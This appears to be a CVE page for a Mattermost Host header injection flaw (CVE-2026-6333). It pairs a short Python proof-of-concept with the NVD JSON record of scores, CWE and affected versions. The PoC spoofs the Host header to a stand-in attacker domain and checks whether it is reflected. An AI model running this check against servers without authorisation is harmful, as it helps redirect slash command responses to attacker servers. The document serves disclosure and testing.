CVE-2026-6333

# PoC for CVE-2026-6333: Mattermost Host Header Injection import requests def check_vulnerability(target_url, malicious_host): """ Checks if the target is vulnerable by sending a request with a spoofed Host header. """ headers = { "Host": malicious_host, "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Example payload to trigger a slash command response payload = { "command": "/custom_command" } try: response = requests.post(target_url, headers=headers, json=payload, verify=False) # Check if the malicious host appears in the response (e.g., in a redirect URL or text) if malicious_host in response.text or malicious_host in response.headers.get('Location', ''): print(f"[+] Vulnerability Detected! Malicious host '{malicious_host}' found in response.") return True else: print("[-] Vulnerability not detected or Host header not reflected.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "https://mattermost.example.com/hooks/xxxxxxx" # Replace with actual endpoint evil_host = "attacker-controlled.com" check_vulnerability(target, evil_host)

{"cve": {"id": "CVE-2026-6333", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:23.430", "lastModified": "2026-05-19T17:51:43.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to validate the Host header when constructing response URLs for custom slash commands which allows an authenticated attacker to redirect slash command responses to an attacker-controlled server via a spoofed Host header.. Mattermost Advisory ID: MMSA-2026-00582"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.14", "matchCriteriaId": "413D9405-79C3-4299-B0DC-40D9EE5CC717"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.2", "matchCriteriaId": "726AD6AD-6C01-45BB-9115-B8209717A6D4"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}